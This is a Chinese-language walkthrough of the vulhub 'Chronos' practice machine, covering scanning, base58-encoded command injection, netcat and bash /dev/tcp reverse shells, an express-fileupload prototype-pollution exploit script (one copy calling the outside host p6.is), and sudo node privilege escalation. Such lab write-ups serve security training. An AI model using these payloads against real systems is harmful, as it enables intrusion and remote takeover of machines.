【打靶】vulhub打靶复现系列3---Chronos

【打靶】vulhub打靶复现系列3---Chronos

一、主机探测

结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议

【打靶】vulhub打靶复现系列3---Chronos_第1张图片

【打靶】vulhub打靶复现系列3---Chronos_第2张图片

【打靶】vulhub打靶复现系列3---Chronos_第3张图片

tips:我在运行期间发现,netdiscover窗口没关闭的前提下是可以一直检测的,也就是说在探活期间有新主机加入可以被立即识别到。​

二、端口扫描

nmap -p- -sV -T4 192.168.56.104

【打靶】vulhub打靶复现系列3---Chronos_第4张图片

ssh可以爆破(hydra)

http直接去访问(先看下80端口下的页面)

三、撕口子--功能点测试

【打靶】vulhub打靶复现系列3---Chronos_第5张图片

发现页面没有什么东西,两种思路:

  • 1、爬站
  • 2、查看源码查询调用隐藏接口和调用脚本等

发现其源码中有调用一个脚本

【打靶】vulhub打靶复现系列3---Chronos_第6张图片

发现进行了编码

通过cyberchef美化一下,地址​​CyberChef (gchq.github.io)​​

【打靶】vulhub打靶复现系列3---Chronos_第7张图片

发现有内容进行过加密,虽说cyberchef可以解,但比这个更有意义的是其调用的脚本(未进行编码加密等)

四、尝试利用——查看源码

【打靶】vulhub打靶复现系列3---Chronos_第8张图片

去改host文件,将192.168.56.104定向到chronos.local

注:chronos恰好是本靶场的主机名,host文件win的在C盘C:\Windows\System32\drivers\etc\hosts,kali在/etc/hosts

【打靶】vulhub打靶复现系列3---Chronos_第9张图片

ping一下

【打靶】vulhub打靶复现系列3---Chronos_第10张图片

配置成功

再次访问网页

【打靶】vulhub打靶复现系列3---Chronos_第11张图片

发现多出下面这行uts时间

抓包观察发现是下面这个数据包的响应包

【打靶】vulhub打靶复现系列3---Chronos_第12张图片

当我修改了format后的内容后无法正常回显,因此我需要知道后面的内容是什么编码(经验判断是base64,但不重要)

直接去cyberchef里的magic模块去撞就行

【打靶】vulhub打靶复现系列3---Chronos_第13张图片

可以猜测出是base58编码

而此时观察请求包会发现很像是linux的data命令

'+Today is %A, %B %d, %Y %H:%M:%S.'

六、验证猜想——配合终端进行验证

尝试在kali上验证猜想

【打靶】vulhub打靶复现系列3---Chronos_第14张图片

确认了猜想和其运行是一致的

这里是调用了系统指令进行回显的.

因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?

那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去

方法有

;
|
||
&&
这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双&&符号恰好相反(前面为真才能执行下一个指令)

因此可以尝试在前面输入准确的情况下执行后面的指令,即用&&尝试,需要注意的是需要进行base58编码才行

【打靶】vulhub打靶复现系列3---Chronos_第15张图片

【打靶】vulhub打靶复现系列3---Chronos_第16张图片

成功验证了猜想

七、进一步利用--尝试nc反弹

先去查找有无nc

【打靶】vulhub打靶复现系列3---Chronos_第17张图片

【打靶】vulhub打靶复现系列3---Chronos_第18张图片

存在nc,下一步反弹shell

【打靶】vulhub打靶复现系列3---Chronos_第19张图片

【打靶】vulhub打靶复现系列3---Chronos_第20张图片

返回包看着貌似不成功但攻击机却接受到了反弹过来的监听

【打靶】vulhub打靶复现系列3---Chronos_第21张图片

八、nc利用——判断有无-e参数

直接指令判断可以执行就说明有-e参数

在nc命令中,-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后,将输入和输出重定向到指定的命令,从而实现远程执行命令的功能。

使用-e参数的语法如下:

nc -e  

其中,​​是要执行的命令,​​是目标主机的IP地址或域名,​​是目标主机的端口号。

使用-e参数时,nc命令会在连接建立后立即执行指定的命令,并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令,并与其交互,就像在本地终端上一样。

输入指令

nc 192.168.56.103 4444 -e /bin/bash

对其进行编码并执行(注意,这里在kali机上需要重新启动监听)

【打靶】vulhub打靶复现系列3---Chronos_第22张图片

发现没有回连,采用之前的nc串联来代替-e参数反弹shell

九、精化&骚操作——nc串联获取shell

nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555

这里注意:尽量前后都加个空格吧

【打靶】vulhub打靶复现系列3---Chronos_第23张图片

十、主机信息收集

【打靶】vulhub打靶复现系列3---Chronos_第24张图片

发现user.txt这个文件需要提权

十一、(常规)提权

# linux提权方法
## 方法一、利用内核漏洞:先name -a查看内核版本,再去查询该版本漏洞进行攻击
## 方法二、suid权限配置错误导致提权,suid命令查看超管用户
## 方法三、利用sudo命令,有些用户可以使用sudo命令进而达到提权的目的


但很不幸,这些提权手段都不适用

十二、代码审计

跳到目录下

【打靶】vulhub打靶复现系列3---Chronos_第25张图片

发现是js写的服务端,这种情况少见(据说少见)

nodejs是基于JavaScript的已有的框架和库,通过了解socket、express等库经常用来开发web

开始审计package.json

发现各个封装好的包/库

【打靶】vulhub打靶复现系列3---Chronos_第26张图片

审计app.js

这是重定向的url等

【打靶】vulhub打靶复现系列3---Chronos_第27张图片

base58解码,拼接到cmd的代码

【打靶】vulhub打靶复现系列3---Chronos_第28张图片

判断agent的字段内容

【打靶】vulhub打靶复现系列3---Chronos_第29张图片

在agent是chronos时候是正常回显,其他情况返回禁止,有了这段内容的解读之后去尝试一波

【打靶】vulhub打靶复现系列3---Chronos_第30张图片

成功验证代审的分析结果

其中当agent==chronos时候进一步的判断(下一个if语句)表示

【打靶】vulhub打靶复现系列3---Chronos_第31张图片

也对应上了之前nc返连的时候的返回包内容,注意这里只是返回这么个内容但却没有阻断这些指令

翻阅过后没有什么显著的利用点,继续深挖

十三、代码审计深挖——找利用点撕口子

【打靶】vulhub打靶复现系列3---Chronos_第32张图片

【打靶】vulhub打靶复现系列3---Chronos_第33张图片

发现了未扫出来的8080端口,但这个端口只对8080开放,因此我nmap没扫出来

看来只能指望调用的模块内(express和express-fileupload)存在漏洞了

【打靶】vulhub打靶复现系列3---Chronos_第34张图片

发现存在漏洞,赶紧索一眼,但这里没给到源码和poc之类的信息,通过科学上网访问到

​​Access denied | www.bleepingcomputer.com used Cloudflare to restrict access​​

【打靶】vulhub打靶复现系列3---Chronos_第35张图片

通过下面的参考链接来到:​​p6.is(现在让网页篡改了)​​

【打靶】vulhub打靶复现系列3---Chronos_第36张图片

意思是想要利用这个漏洞就必须开启processNested的方法,好在我们的环境中恰好是开着的

【打靶】vulhub打靶复现系列3---Chronos_第37张图片

通过上面的文章找到可利用的简化exp

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
 
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://p6.is:7777')

只需要将这段代码中的部分进行替换,替换规则如下如下

p6.is/8888 替换为 kali攻击机的ip/监听端口 
p6.is:7777 替换为 目标ip:目标web应用程序运行端口

 将这段代码复制到kali中,替换内容后编写为py文件,修改后的内容如下;

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/8888 0>&1"'
 
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://127.0.0.1:8080')

写好文件之后kali攻击机开启web服务

python3 -m http.server 80 

通过反弹shell将目录移动到/tmp下(因为一般来讲tmp好写入文件)

成功上传exp.py

【打靶】vulhub打靶复现系列3---Chronos_第38张图片

下一步运行就行

十四、getshell——获取第一个flag

【打靶】vulhub打靶复现系列3---Chronos_第39张图片

但是获取的仅仅是上面的imara的shell

去看下那个txt能不能看

【打靶】vulhub打靶复现系列3---Chronos_第40张图片

成功!获取到一个flag了

十五、乘胜追击——获取root用户下的flag

根据靶机描述,root下是有一个flag的,但是我们现在已有的权限不足以去访问

十六、提权——利用sudo下可调用的node

还是之前说的三种方法先试一下,发现可以sudo

【打靶】vulhub打靶复现系列3---Chronos_第41张图片

意思是不需要输入密码的前提下执行npm和node指令

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

这段代码是通过node指令提权的代码(网上找的)

意思是通过调用node--》生成子进程---》调用root权限的shell

提权成功

【打靶】vulhub打靶复现系列3---Chronos_第42张图片

 打靶总结

【打靶】vulhub打靶复现系列3---Chronos_第43张图片

你可能感兴趣的:(web安全,网络安全,安全,开发语言,python)